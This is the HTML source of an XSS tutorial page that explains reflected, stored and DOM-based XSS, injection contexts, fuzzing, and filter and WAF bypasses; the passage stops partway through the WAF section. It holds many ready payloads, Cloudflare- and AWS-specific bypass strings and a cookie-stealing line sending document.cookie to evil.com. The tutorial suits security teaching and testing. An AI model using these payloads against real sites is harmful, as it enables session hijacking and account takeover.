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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Tutorial & Documentation - Learn Cross-Site Scripting & CSP Bypass | XSSNow</title>
<meta name="description" content="Complete XSS tutorial covering Reflected, Stored, DOM-based XSS, CSP bypass techniques, WAF evasion, and prevention methods. Learn XSS exploitation from basics to advanced for bug bounty and security research.">
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<meta property="og:title" content="XSS Tutorial - Learn Cross-Site Scripting & CSP Bypass | XSSNow">
<meta property="og:description" content="Complete XSS tutorial with CSP bypass techniques, WAF evasion, and prevention methods. From basics to advanced exploitation.">
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<meta name="keywords" content="XSS Tutorial, XSS Documentation, Cross-Site Scripting Guide, XSS Learning, How to XSS, Reflected XSS Tutorial, Stored XSS Tutorial, DOM XSS Tutorial, CSP Bypass Tutorial, WAF Bypass Guide, XSS Prevention, Web Security Education, XSS Bug Bounty Guide, OWASP XSS, XSS for Beginners, Advanced XSS Techniques">
<meta name="author" content="Sid Joshi (dr34mhacks)">
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"name": "What is a WAF bypass for XSS?",
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Introduction
</a>
</li>
<li class="nav-section">
<a href="#fundamentals" class="nav-link">
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XSS Fundamentals
</a>
<ul class="nav-subsections">
<li><a href="#what-is-xss">What is XSS?</a></li>
<li><a href="#types-of-xss">Types of XSS</a></li>
<li><a href="#xss-execution-contexts">Execution Contexts</a></li>
</ul>
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Detection Techniques
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<li><a href="#manual-testing">Manual Testing</a></li>
<li><a href="#automated-scanning">Automated Scanning</a></li>
<li><a href="#fuzzing-strategies">Fuzzing Strategies</a></li>
</ul>
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Bypass Techniques
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<li><a href="#filter-evasion">Filter Evasion</a></li>
<li><a href="#waf-bypasses">WAF Bypasses</a></li>
<li><a href="#csp-bypasses">CSP Bypasses</a></li>
<li><a href="#encoding-tricks">Encoding Tricks</a></li>
<li><a href="#advanced-research">Advanced Research</a></li>
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Exploitation
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<li><a href="#session-hijacking">Session Hijacking</a></li>
<li><a href="#phishing-attacks">Phishing Attacks</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
</ul>
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Prevention
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<li><a href="#input-validation">Input Validation</a></li>
<li><a href="#output-encoding">Output Encoding</a></li>
<li><a href="#csp-implementation">CSP Implementation</a></li>
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Tools & Resources
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References
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</div>
<!-- Main Documentation Content -->
<div class="docs-content">
<!-- Introduction Section -->
<section id="introduction" class="doc-section">
<div class="section-hero">
<h1 class="section-title">
🛡️ Complete XSS Security Guide
</h1>
<p class="section-subtitle">
Master Cross-Site Scripting vulnerabilities, bypass techniques, and defense strategies
</p>
<div class="hero-animation">
<div class="animated-code-block" id="heroAnimation">
<div class="typing-demo">
<span class="typed-text" id="typedText"></span>
<span class="cursor">|</span>
</div>
</div>
</div>
</div>
<div class="content-grid">
<div class="intro-card">
<div class="card-icon">🎯</div>
<h3>Purpose</h3>
<p>This documentation provides comprehensive coverage of XSS vulnerabilities, from basic concepts to advanced exploitation techniques.</p>
</div>
<div class="intro-card">
<div class="card-icon">🔬</div>
<h3>Research-Focused</h3>
<p>Based on latest security research, bug bounty findings, and real-world penetration testing scenarios.</p>
</div>
<div class="intro-card">
<div class="card-icon">⚖️</div>
<h3>Ethical Use</h3>
<p>All techniques documented here are for educational purposes and authorized security testing only.</p>
</div>
<div class="intro-card">
<div class="card-icon">🚀</div>
<h3>Practical Focus</h3>
<p>Hands-on examples, real-world scenarios, and actionable defensive strategies for security professionals.</p>
</div>
</div>
<div class="disclaimer-box">
<h4>⚠️ Important Notice</h4>
<p><strong>Educational Purpose:</strong> This documentation is for authorized security testing and educational use only. Always obtain proper written authorization before testing any systems.</p>
</div>
</section>
<!-- XSS Fundamentals Section -->
<section id="fundamentals" class="doc-section">
<h2 class="section-title">📖 XSS Fundamentals</h2>
<div id="what-is-xss" class="subsection">
<h3>What is Cross-Site Scripting (XSS)?</h3>
<p>Cross-Site Scripting (XSS) is a type of security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When the victim loads the page, the malicious script executes in their browser, potentially allowing the attacker to:</p>
<div class="impact-grid">
<div class="impact-item">
<i class="fas fa-key"></i>
<h4>Steal Session Cookies</h4>
<p>Access authentication tokens and hijack user sessions</p>
</div>
<div class="impact-item">
<i class="fas fa-user-secret"></i>
<h4>Perform Actions as User</h4>
<p>Execute any action the user can perform on the website</p>
</div>
<div class="impact-item">
<i class="fas fa-eye"></i>
<h4>Access Sensitive Data</h4>
<p>Read private information displayed on the page</p>
</div>
<div class="impact-item">
<i class="fas fa-fish"></i>
<h4>Phishing Attacks</h4>
<p>Display fake forms to capture credentials</p>
</div>
<div class="impact-item">
<i class="fas fa-code"></i>
<h4>Malicious Redirects</h4>
<p>Redirect users to malicious websites or download malware</p>
</div>
<div class="impact-item">
<i class="fas fa-network-wired"></i>
<h4>Network Reconnaissance</h4>
<p>Scan internal networks and gather system information</p>
</div>
</div>
<div class="demo-container">
<h4>Interactive XSS Demo</h4>
<div class="xss-demo" id="xssDemo">
<div class="demo-input">
<label>Enter your name:</label>
<input type="text" id="userInput" placeholder="Try: <script>alert('XSS')</script>">
<button onclick="simulateXSS()">Submit</button>
</div>
<div class="demo-output" id="demoOutput">
Welcome! Your output will appear here...
</div>
</div>
<p class="demo-note">⚠️ This is a safe simulation - no actual XSS execution occurs</p>
</div>
</div>
<div id="types-of-xss" class="subsection">
<h3>Types of XSS Vulnerabilities</h3>
<div class="xss-types">
<div class="xss-type-card reflected">
<div class="type-header">
<h4>🔄 Reflected XSS</h4>
<span class="severity high">High Risk</span>
</div>
<p>The malicious script is reflected off the web server as part of the response. The payload is typically delivered via URL parameters or form submissions.</p>
<div class="code-example">
<div class="code-header">
<span>Vulnerable Code Example</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code class="language-html"><!-- Vulnerable PHP code -->
<h1>Welcome <?php echo $_GET['name']; ?>!</h1>
<!-- Malicious URL -->
https://example.com/welcome.php?name=<script>alert('XSS')</script></code></pre>
</div>
<div class="attack-flow">
<div class="flow-step">
<div class="step-number">1</div>
<div class="step-content">
<h5>Attacker crafts malicious URL</h5>
<p>Creates a URL with XSS payload in parameters</p>
</div>
</div>
<div class="flow-arrow">→</div>
<div class="flow-step">
<div class="step-number">2</div>
<div class="step-content">
<h5>Victim clicks malicious link</h5>
<p>Social engineering or phishing email</p>
</div>
</div>
<div class="flow-arrow">→</div>
<div class="flow-step">
<div class="step-number">3</div>
<div class="step-content">
<h5>Server reflects payload</h5>
<p>Payload included in server response</p>
</div>
</div>
<div class="flow-arrow">→</div>
<div class="flow-step">
<div class="step-number">4</div>
<div class="step-content">
<h5>Script executes in browser</h5>
<p>Malicious code runs in victim's browser</p>
</div>
</div>
</div>
</div>
<div class="xss-type-card stored">
<div class="type-header">
<h4>💾 Stored XSS</h4>
<span class="severity critical">Critical Risk</span>
</div>
<p>The malicious script is permanently stored on the target server (database, file system, etc.) and served to users when they access the affected page.</p>
<div class="code-example">
<div class="code-header">
<span>Vulnerable Comment System</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code class="language-html"><!-- Vulnerable comment display -->
<div class="comment">
<h4><?php echo $comment['author']; ?></h4>
<p><?php echo $comment['message']; ?></p>
</div>
<!-- Malicious comment payload -->
Author: <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script></code></pre>
</div>
<div class="stored-xss-timeline">
<div class="timeline-item">
<div class="timeline-dot"></div>
<div class="timeline-content">
<h5>Payload Injection</h5>
<p>Attacker submits malicious script via form</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-dot"></div>
<div class="timeline-content">
<h5>Storage</h5>
<p>Malicious script stored in database</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-dot"></div>
<div class="timeline-content">
<h5>Victim Access</h5>
<p>Any user visiting the page triggers XSS</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-dot"></div>
<div class="timeline-content">
<h5>Persistent Impact</h5>
<p>Affects multiple users over time</p>
</div>
</div>
</div>
</div>
<div class="xss-type-card dom-based">
<div class="type-header">
<h4>🌐 DOM-Based XSS</h4>
<span class="severity high">High Risk</span>
</div>
<p>The vulnerability exists in client-side JavaScript code. The payload modifies the DOM environment without requiring server interaction.</p>
<div class="code-example">
<div class="code-header">
<span>Vulnerable JavaScript Code</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code class="language-javascript">// Vulnerable DOM manipulation
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello ' + name;
// Malicious URL
https://example.com/page.html#<script>alert('XSS')</script></code></pre>
</div>
<div class="dom-sources-sinks">
<div class="sources-section">
<h5>🔍 Common Sources</h5>
<ul class="source-list">
<li><code>location.href</code></li>
<li><code>location.search</code></li>
<li><code>location.hash</code></li>
<li><code>document.referrer</code></li>
<li><code>window.name</code></li>
<li><code>postMessage data</code></li>
</ul>
</div>
<div class="sinks-section">
<h5>🎯 Common Sinks</h5>
<ul class="sink-list">
<li><code>innerHTML</code></li>
<li><code>outerHTML</code></li>
<li><code>document.write()</code></li>
<li><code>eval()</code></li>
<li><code>setTimeout()</code></li>
<li><code>location.href</code></li>
</ul>
</div>
</div>
</div>
</div>
</div>
<div id="xss-execution-contexts" class="subsection">
<h3>XSS Execution Contexts</h3>
<p>Understanding where your payload will be executed is crucial for crafting effective XSS attacks. Different contexts require different approaches:</p>
<div class="context-tabs">
<div class="tab-buttons">
<button class="tab-button active" onclick="showContext('html')">HTML Context</button>
<button class="tab-button" onclick="showContext('attribute')">Attribute Context</button>
<button class="tab-button" onclick="showContext('javascript')">JavaScript Context</button>
<button class="tab-button" onclick="showContext('css')">CSS Context</button>
<button class="tab-button" onclick="showContext('url')">URL Context</button>
</div>
<div class="tab-content">
<div class="context-panel active" id="html-context">
<h4>HTML Context</h4>
<p>Payload is reflected directly into HTML content:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><div>Hello $userInput</div></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code><script>alert('XSS')</script></code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><div>Hello <script>alert('XSS')</script></div></code></pre>
</div>
</div>
</div>
<div class="context-panel" id="attribute-context">
<h4>Attribute Context</h4>
<p>Payload is reflected inside HTML attributes:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><input type="text" value="$userInput"></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code>" onmouseover="alert('XSS')</code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><input type="text" value="" onmouseover="alert('XSS')"></code></pre>
</div>
</div>
</div>
<div class="context-panel" id="javascript-context">
<h4>JavaScript Context</h4>
<p>Payload is reflected inside JavaScript code:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><script>var name = '$userInput';</script></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code>';alert('XSS');//</code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><script>var name = '';alert('XSS');//';</script></code></pre>
</div>
</div>
</div>
<div class="context-panel" id="css-context">
<h4>CSS Context</h4>
<p>Payload is reflected inside CSS styles:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><style>body { background: $userColor; }</style></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code>red; } </style><script>alert('XSS')</script></code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><style>body { background: red; } </style><script>alert('XSS')</script>; }</style></code></pre>
</div>
</div>
</div>
<div class="context-panel" id="url-context">
<h4>URL Context</h4>
<p>Payload is reflected in URLs or href attributes:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><a href="$userURL">Click here</a></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code>javascript:alert('XSS')</code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><a href="javascript:alert('XSS')">Click here</a></code></pre>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Detection Techniques Section -->
<section id="detection-techniques" class="doc-section">
<h2 class="section-title">🔍 XSS Detection Techniques</h2>
<div id="manual-testing" class="subsection">
<h3>Manual Testing Strategies</h3>
<p>Manual testing remains one of the most effective ways to discover XSS vulnerabilities. Here are proven strategies:</p>
<div class="testing-methodology">
<div class="method-card">
<h4>🎯 Input Point Identification</h4>
<ul class="method-list">
<li>URL parameters (<code>?param=value</code>)</li>
<li>Form fields (text inputs, textareas, hidden fields)</li>
<li>HTTP headers (User-Agent, Referer, X-Forwarded-For)</li>
<li>File uploads (filename, metadata)</li>
<li>API endpoints and JSON data</li>
<li>Cookie values</li>
</ul>
</div>
<div class="method-card">
<h4>🧪 Basic Payload Testing</h4>
<div class="code-example">
<div class="code-header">
<span>Progressive Testing Approach</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code># 1. Start with simple HTML
<h1>test</h1>
# 2. Test script execution
<script>alert(1)</script>
# 3. Event handlers
<img src=x onerror=alert(1)>
# 4. Context breaking
"><script>alert(1)</script>
'><script>alert(1)</script>
# 5. Advanced payloads
<svg onload=alert(1)>
<iframe src=javascript:alert(1)></code></pre>
</div>
</div>
</div>
</div>
<div id="automated-scanning" class="subsection">
<h3>Automated Scanning Tools</h3>
<p>Automated scanners can help identify XSS vulnerabilities at scale, but manual testing is still essential for comprehensive coverage:</p>
<div class="tools-grid">
<div class="tool-card">
<h4>🕷️ Web Application Scanners</h4>
<ul>
<li><strong>Burp Suite Professional</strong> - Industry standard web application security testing platform</li>
<li><strong>OWASP ZAP</strong> - Free and open-source security testing proxy</li>
<li><strong>Acunetix</strong> - Commercial vulnerability scanner with advanced crawling</li>
<li><strong>Netsparker</strong> - Automated security scanner with proof-of-concept verification</li>
</ul>
</div>
<div class="tool-card">
<h4>⚡ Specialized XSS Tools</h4>
<ul>
<li><strong>XSSStrike</strong> - Advanced XSS detection suite with fuzzing capabilities</li>
<li><strong>XSSHunter</strong> - Blind XSS detection platform for stored vulnerabilities</li>
<li><strong>XSSer</strong> - Automatic XSS detection and exploitation framework</li>
<li><strong>Dalfox</strong> - Fast and powerful XSS scanner and parameter analysis tool</li>
</ul>
</div>
</div>
<div class="scanning-tips">
<h4>💡 Best Practices for Automated Scanning</h4>
<div class="tips-grid">
<div class="tip-item">
<h5>🎯 Configure Scope Properly</h5>
<p>Define clear testing boundaries and exclude production systems from aggressive scans.</p>
</div>
<div class="tip-item">
<h5>🔄 Combine Multiple Tools</h5>
<p>Different scanners have different strengths - use multiple tools for comprehensive coverage.</p>
</div>
<div class="tip-item">
<h5>👥 Manual Validation</h5>
<p>Always manually verify automated findings to reduce false positives and understand impact.</p>
</div>
<div class="tip-item">
<h5>🕒 Timing Considerations</h5>
<p>Use appropriate delays between requests to avoid overwhelming target applications.</p>
</div>
<div class="tip-item">
<h5>📝 Document Findings</h5>
<p>Maintain detailed logs of scan results and methodologies for compliance and reporting.</p>
</div>
<div class="tip-item">
<h5>🔄 Regular Updates</h5>
<p>Keep scanning tools and payloads updated to detect latest vulnerabilities and bypass techniques.</p>
</div>
</div>
</div>
</div>
<div id="fuzzing-strategies" class="subsection">
<h3>Fuzzing Strategies</h3>
<p>Fuzzing is an automated testing technique that involves sending unexpected, random, or malformed data to find XSS vulnerabilities:</p>
<div class="fuzzing-approaches">
<div class="fuzzing-method">
<h4>🎲 Random Payload Fuzzing</h4>
<p>Generate random payloads with varying characteristics:</p>
<div class="code-example">
<div class="code-header">
<span>Python Fuzzing Example</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code class="language-python"># XSS Fuzzing Script
import random
import string
class XSSFuzzer:
def __init__(self):
self.tags = ['script', 'img', 'svg', 'iframe', 'input', 'body']
self.events = ['onload', 'onerror', 'onclick', 'onmouseover']
self.payloads = ['alert(1)', 'confirm(1)', 'prompt(1)']
def generate_random_payload(self):
tag = random.choice(self.tags)
event = random.choice(self.events)
payload = random.choice(self.payloads)
return f'<{tag} {event}={payload}>'
def generate_encoded_payload(self, payload):
# URL encoding
return ''.join(f'%{ord(c):02x}' for c in payload)
def fuzz_endpoint(self, url, param):
payloads = []
for _ in range(100):
base_payload = self.generate_random_payload()
payloads.extend([
base_payload,
self.generate_encoded_payload(base_payload),
base_payload.upper(),
base_payload.replace('<', '&lt;'),
])
return payloads</code></pre>
</div>
</div>
<div class="fuzzing-method">
<h4>🧬 Mutation-Based Fuzzing</h4>
<p>Start with known working payloads and mutate them:</p>
<div class="mutation-examples">
<div class="mutation-type">
<h5>Character Insertion</h5>
<code><scri\x00pt>alert(1)</script></code>
</div>
<div class="mutation-type">
<h5>Case Randomization</h5>
<code><ScRiPt>aLeRt(1)</ScRiPt></code>
</div>
<div class="mutation-type">
<h5>Whitespace Injection</h5>
<code><script\x20>alert(1)</script></code>
</div>
<div class="mutation-type">
<h5>Comment Insertion</h5>
<code><script>/**/alert(1)</script></code>
</div>
</div>
</div>
<div class="fuzzing-method">
<h4>🎯 Context-Aware Fuzzing</h4>
<p>Tailor payloads to specific injection contexts:</p>
<div class="context-fuzzing">
<div class="context-fuzz-item">
<h5>HTML Attribute Context</h5>
<code>" autofocus onfocus=alert(1) x="</code>
<br><code>' autofocus onfocus=alert(1) x='</code>
</div>
<div class="context-fuzz-item">
<h5>JavaScript String Context</h5>
<code>';alert(1);//</code>
<br><code>';alert(1);/*</code>
</div>
<div class="context-fuzz-item">
<h5>URL Parameter Context</h5>
<code>javascript:alert(1)</code>
<br><code>data:text/html,<script>alert(1)</script></code>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Bypass Techniques Section -->
<section id="bypass-techniques" class="doc-section">
<h2 class="section-title">🛡️ Advanced Bypass Techniques</h2>
<div id="filter-evasion" class="subsection">
<h3>Filter Evasion Techniques</h3>
<div class="bypass-category">
<h4>🎭 Case Manipulation</h4>
<p>Many filters check for exact case matches and can be bypassed with case variations:</p>
<div class="code-example">
<pre><code><ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<script >alert(1)</script>
<script >alert(1)</script>
<script
>alert(1)</script></code></pre>
</div>
</div>
<div class="bypass-category">
<h4>🔤 Encoding Bypass</h4>
<p>Various encoding techniques can bypass input validation:</p>
<div class="encoding-examples">
<div class="encoding-type">
<h5>URL Encoding</h5>
<code>%3Cscript%3Ealert(1)%3C/script%3E</code>
</div>
<div class="encoding-type">
<h5>HTML Entity Encoding</h5>
<code>&lt;script&gt;alert(1)&lt;/script&gt;</code>
</div>
<div class="encoding-type">
<h5>Unicode Encoding</h5>
<code>\u003cscript\u003ealert(1)\u003c/script\u003e</code>
</div>
<div class="encoding-type">
<h5>Hex Encoding</h5>
<code>\x3cscript\x3ealert(1)\x3c/script\x3e</code>
</div>
</div>
</div>
<div class="bypass-category">
<h4>🧩 Alternative Event Handlers</h4>
<p>When common event handlers are blocked, try these alternatives:</p>
<div class="event-grid">
<div class="event-category">
<h5>Mouse Events</h5>
<ul class="event-list">
<li><code>onmouseover</code></li>
<li><code>onmouseout</code></li>
<li><code>onmousedown</code></li>
<li><code>onmouseup</code></li>
<li><code>onclick</code></li>
<li><code>ondblclick</code></li>
</ul>
</div>
<div class="event-category">
<h5>Keyboard Events</h5>
<ul class="event-list">
<li><code>onkeydown</code></li>
<li><code>onkeyup</code></li>
<li><code>onkeypress</code></li>
</ul>
</div>
<div class="event-category">
<h5>Form Events</h5>
<ul class="event-list">
<li><code>onfocus</code></li>
<li><code>onblur</code></li>
<li><code>onchange</code></li>
<li><code>onsubmit</code></li>
</ul>
</div>
<div class="event-category">
<h5>Other Events</h5>
<ul class="event-list">
<li><code>onload</code></li>
<li><code>onerror</code></li>
<li><code>onresize</code></li>
<li><code>onscroll</code></li>
</ul>
</div>
</div>
</div>
</div>
<div id="waf-bypasses" class="subsection">
<h3>WAF Bypass Techniques</h3>
<p>Web Application Firewalls (WAFs) implement various rules to block XSS attacks. Here are proven bypass techniques:</p>
<div class="waf-bypasses">
<div class="waf-card cloudflare">
<h4>☁️ Cloudflare Bypasses</h4>
<div class="code-example">
<pre><code># Unicode bypass
<script>alert\u0028\u0031\u0029</script>
# Case variation
<ScRiPt>alert(1)</ScRiPt>
# Encoding combination
<script>eval(atob('YWxlcnQoMSk='))</script>
# Template literals
<script>alert`1`</script></code></pre>
</div>
</div>
<div class="waf-card aws">
<h4>🌩️ AWS WAF Bypasses</h4>
<div class="code-example">
<pre><code># Mixed case with spaces
< ScRiPt >alert(1)</ ScRiPt >
# Alternative tags
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
# Event handler variations
<img src=x oNlOaD=alert(1)>
<body oNlOaD=alert(1)></code></pre>